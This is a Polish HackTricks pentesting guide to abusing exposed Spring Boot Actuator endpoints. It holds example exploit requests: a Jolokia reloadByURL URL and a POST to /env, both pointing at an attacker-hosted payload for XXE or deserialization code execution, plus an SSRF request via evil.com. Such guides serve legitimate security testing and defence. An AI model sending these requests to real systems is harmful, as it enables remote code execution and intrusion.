hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

5.7 KiB

Spring Actuators

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %} {% endhint %}

Spring Auth Bypass

Z https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Wykorzystywanie Spring Boot Actuators

Sprawdź oryginalny post z [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Kluczowe punkty:

  • Spring Boot Actuators rejestruje punkty końcowe, takie jak /health, /trace, /beans, /env, itp. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko /health i /info są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie.
  • Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, i /heapdump.
  • W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką /actuator/.

Techniki wykorzystywania:

  1. Zdalne wykonanie kodu przez '/jolokia':
  • Punkt końcowy /jolokia udostępnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.
  • Akcja reloadByURL może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu przez skonstruowane konfiguracje XML.
  • Przykład URL exploita: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Modyfikacja konfiguracji przez '/env':
  • Jeśli biblioteki Spring Cloud są obecne, punkt końcowy /env pozwala na modyfikację właściwości środowiskowych.
  • Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
  • Przykład exploita POST:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Inne przydatne ustawienia:
  • Właściwości takie jak spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, i spring.datasource.tomcat.max-active mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.

Dodatkowe informacje:

  • Kompletna lista domyślnych actuatorów znajduje się tutaj.
  • Punkt końcowy /env w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.

Pokrewne tematy:

  1. Env + H2 RCE:
  • Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego /env i bazy danych H2 można znaleźć tutaj.
  1. SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki:
  • Obsługa parametrów macierzowych (;) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
  • Przykład żądania exploita:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %} {% endhint %}